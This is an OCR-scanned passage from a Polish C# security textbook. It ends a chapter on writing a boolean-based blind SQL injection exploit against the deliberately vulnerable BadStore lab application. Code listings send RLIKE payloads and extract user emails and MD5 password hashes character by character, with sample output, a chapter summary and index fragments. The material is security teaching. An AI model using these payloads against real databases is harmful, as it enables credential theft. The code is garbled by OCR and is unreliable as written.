okreslonego indeksu licznika. W zwigzku z tym przerywamy petle i przechodzimy
do nastepnego indeksu.

Teraz trzeba zwréci¢ warto§é licznika i zakonezy¢ metode, tak jak pokazano
na listingu 2.50.

Listing 2.50. Ostatni wiersz w metodzie GetlLength(). Konwersja wartosci dfugosci na typ
integer i jej zwrdcenie

if (countBytes.Count > 0)

return "1nt.Parse(Encoding.ASCII.G}GetString(countBytes.ToArray()));
else
return 0;

}
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Gdy juz mamy bajty licznika, mozemy uzy¢ metody GetString() @ w celu
konwersji pobranych bajtéw na ciag czytelny dla czlowieka. Ten ciag jest przeka-
zywany do wywolania int.Parse() @ i zwracany do obiektu wywolujacego. Teraz
mozemy rozpoczaé zbieranie wlasciwych wartosci z bazy danych.

Metoda GetValue () pobierajgca wartosci z bazy danych

Aby zakoriczy¢ pisanie eksploita, potrzebna jest metoda odczytujaca wartosci z bazy
danych. Przyklad takiej metody — GetValue() — pokazano na listingu 2.51.

Listing 2.51. Metoda GetValue() pobierajqca wartosc okreslonej kolumny w okreslonym
wierszu

private static string GetValue(int row@®, string colum®, int length®)
{
List<byte> valBytes = @new List<byte>();
for (int i = 0; i <= length; i++)
{
Ofor(int ¢ = 32; ¢ <= 126; c++)
{
string getChar = "fdsa' RLIKE (SELECT (CASE WHEN
> (ORD(MID((SELECT";
getChar += " IFNULL(CAST("+column+" AS CHAR),0x20)
“>FROM userdb ORDER BY";
getChar += " email LIMIT "+row+",1),"+i+",1))="+c+")
>THEN 0x28 ELSE 0x41";
getChar += " END)) AND 'YIye'='YIye";
string response = MakeRequest(getChar);

if (response.Contains (@"parentheses not balanced"))

{
}

valBytes.Add((byte)c); break;

}
}
return Encoding.ASCII.@GetString(valBytes.ToArray());

Metoda GetValue() wymaga trzech argumentéw: wiersza bazy danych, z ktére-
2o pobieramy dane @, kolumny bazy danych, w ktérej rezyduje wartosé @,
i dlugosci warto$ci pobranej z bazy danych @. Do przechowywania pobranych
bajtéw wartosci tworzona jest nowa lista List<byte> @.

W najbardziej zewnetrznej petli for @ iterujemy po wartosciach od 32 do 126,
poniewaz 32 jest najmniejsza liczbg catkowits, ktéra odpowiada drukowalnemu
znakowi ASCII, natomiast 126 to warto$é¢ najwieksza. Wezesniej, gdy pobierali-
$my liczniki, iterowalismy tylko po wartosciach od 48 do 58, poniewaz intereso-
waly nas tylko numeryczne znaki ASCII.
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Podczas iterowania po tych wartosciach wysytamy fadunek, ktéry poréwnuje
biezacy indeks wartosci z bazy danych do biezacej wartosci zmiennej sterujacej
wewnetrznej petli for. Po zwréceniu odpowiedzi szukamy komunikatu o bledzie
"parentheses not balanced" @. Jesli go znajdziemy, to rzutujemy wartos¢ biezacej
zmiennej sterujacej wewnetrznej petli na bajt i zapisujemy go na liscie bajtéw.
W ostatnim wierszu metody konwertujemy te liste na cigg znakéw za pomocy
metody GetString() @ i zwracamy nowy ciag do obiektu wywolujacego.

Wywolywanie metod i wyswietlanie wartosci

Pozostaje teraz wywolanie nowych metod GetLength() i GetValue() w metodzie
Main() i wySwietlenie warto$ci pobranych z bazy danych. Jak wida¢ na listingu 2.52,
na koficu metody Main() dodalismy petle for, w ktérej wywolujemy metody
GetLength() i GetValue(), dzieki czemu mozemy wyodrebni¢ adresy e-mail i skréty
haset z bazy danych.

Listing 2.52. Dodana do metody Main() petla for, ktéra wykorzystuje metody GetLength()
i GetValue()

for (int row = 0; row < count; row++)
{
foreach (string column in new string[] {"email", "passwd"})
{
Console.Write("Pobieranie dfugoSci szukanej wartosci... ");
int vallength = QGetLength(row, column);
Console.WriteLine(vallLength);

Console.Write("Pobieranie wartosci... ");
string value = Bcetvalue(row, column, vallength);
Console.WriteLine(value);

Dla kazdego wiersza w tabeli userdb najpierw pobieramy dtugosé @ i wartos¢ @
pola email, a nastepnie warto$é¢ pola passwd (skr6t MD5 hasta uzytkownika).
Nastepnie wyswietlamy dtugosé pola i jego wartosé. Wyniki dziatania eksploita
pokazano na listingu 2.53.

Listing 2.53. Wyniki dziatania eksploita

W tabeli userdb jest 23 wierszy

Pobieranie dtugoSci szukanej wartoSci... 13

Pobieranie wartoSci... AAA Test User

Pobieranie dfugosci szukanej wartoSci... 32

Pobieranie wartosci... 098F6BCD4621D373CADE4E832627B4F6
Pobieranie dtugosci szukanej wartosci... 5

Pobieranie wartosci...

admin
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Pobieranie dtugoSci szukanej wartoSci... 32
Pobieranie wartoSci... 5EBE2294ECDOEOFO8EAB7690D2A6EE69

--ciach--

Pobieranie dtugosSci szukanej wartosci... 18
Pobieranie wartosci...tommy@customer.net
Pobieranie dtugosci szukanej wartosci... 32

Pobieranie wartoSci... 7f43c1e438dc11a93d19616549d4b701

Po wyznaczeniu liczby uzytkownikéw w bazie danych iterujemy po wszystkich
uzytkownikach i pobieramy z bazy danych nazwy uzytkownikéw i skréty haset.

Ten proces jest znacznie wolniejszy od dziatania eksploita bazujacego na
instrukeji UNION, z ktérego korzystalismy wezesniej, ale iniekcje bazujgce na instruk-
¢ji UNION nie sg zawsze dostepne. Zrozumienie dziatania ataku iniekcji SQL bazuja-
cych na wartosciach Boolean ma kluczowe znaczenie dla skutecznego korzystania
z wielu iniekeji SQL.

Podsumowanie

W tym rozdziale zamieszczono wprowadzenie do fuzzowania i wykorzystywania luk
iniekeji SQL i XSS. Jak widzielismy, aplikacja BadStore zawiera liczne wrazliwo$ci
na iniekcje SQL, ataki XSS oraz inne luki w zabezpieczeniach. Wszystkie te luki
mozna wykorzysta¢ w nieco inny sposéb. W niniejszym rozdziale zaimplementowa-
lismy krétkie zadanie GET fuzzowania aplikacji w celu analizy parametréw ciggu
kwerendy pod katem wrazliwos$ci na ataki XSS lub wystepowanie bledéw mogacych
oznacza¢ zagrozenie iniekcjg SQL. Wykorzystujac elastyczng i dajaca duze mozli-
wosci klase HttpWebRequest do wykonywania i pobierania zadatt HTTP i odpowiedzi
na nie, udalo sie nam ustali¢, ze parametr searchquery uzywany do wyszukiwania
towaréw w aplikacji BadStore jest zagrozony zaréwno atakiem XSS, jak i iniekcja
SQL.

Po napisaniu prostego fuzzera zadania GET przechwyciliSmy zadanie HTTP
POST z aplikacji BadStore za pomoca serwera proxy HTTP Burp Suite i przegladarki
Firefox, aby napisaé krétka aplikacje fuzzujaca zadania POST. Postugujac sie tymi
samymi klasami, jak w napisanym wczes$niej fuzzerze zadan GET, lecz z kilkoma
nowymi metodami, zdotalismy znalez¢ jeszcze wiecej mozliwych do wykorzystania
zagrozen iniekcjami SQL.

Nastepnie przeszlismy do bardziej skomplikowanych Zadan, takich jak Zadania
HTTP zawierajace dane w formacie JSON. Postugujac sie aplikacja webows wraz-
liwg na wstrzykniecia SQL w danych JSON oraz serwerem proxy Burp Suite, prze-
chwycilismy Zgdanie tworzenia nowych uzytkownikéw w aplikacji webowej. W celu
skutecznego fuzzowania tego typu zadati HTTP skorzystalismy z biblioteki Json.NET,
za pomoca ktérej mozna fatwo parsowac i wykorzystywaé dane w formacie JSON.
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Na koniec, po doktadnym zapoznaniu sie ze sposobami wyszukiwania mozli-
wych luk w aplikacjach webowych przez fuzzery, zapoznalismy sie ze sposobami
wykorzystania tych luk. Postugujac sie jeszcze raz aplikacja BadStore, napisali-
$my eksploita iniekcji SQL bazujacego na instrukeji UNION, za pomocy ktérego,
uzywajac pojedynczego zadania HTTE udalo sie nam wydoby¢ nazwy uzytkowni-
kow i skréty hasel z bazy danych aplikacji BadStore. Do skutecznego wydobywania
wyodrebnionych danych z kodu HTML zwracanego przez serwer uzylismy klas
obstugi wyrazen regularnych, takich jak Regex, Match i MatchCollection.

Po ukoficzeniu prostszego eksploita — bazujacego na instrukcji UNION — na-
pisalismy dla tego samego zadania HTTP eksploita iniekeji SQL bazujacego na
wartosci Boolean. Bazujac na tadunkach iniekcji SQL przekazywanych do aplikacji
webowej za pomocg klasy HttpWebRequest, ustalilismy, ktére z odpowiedzi HTTP
zwracaly warto$é true, a ktére false. Kiedy dowiedzielismy sie, jak bedzie zacho-
wywala sie aplikacja webowa w odpowiedzi na pytania ,,prawda czy falsz”, zaczeli-
$my zadawaé bazie danych tego rodzaju pytania w celu pobierania z niej informacji
bajt po bajcie. Eksploity bazujace na warto$ciach Boolean sg bardziej skompliko-
wane niz te, ktére bazujg na instrukeji UNION. Ich wykonanie wymaga wiecej czasu
i zadan HTTE ale sg one bardzo przydatne, gdy korzystanie z eksploitéw bazuja-
cych na instrukeji UNION nie jest mozliwe.
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dostep do skrétéw haset, 323 biblioteki MSGPACK, 265
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FileTask, 206
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SqlmapLogltem, 231
SqlmapManager, 225
Task, 204
TaskFactory, 206
ValueKey, 321
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tadunki
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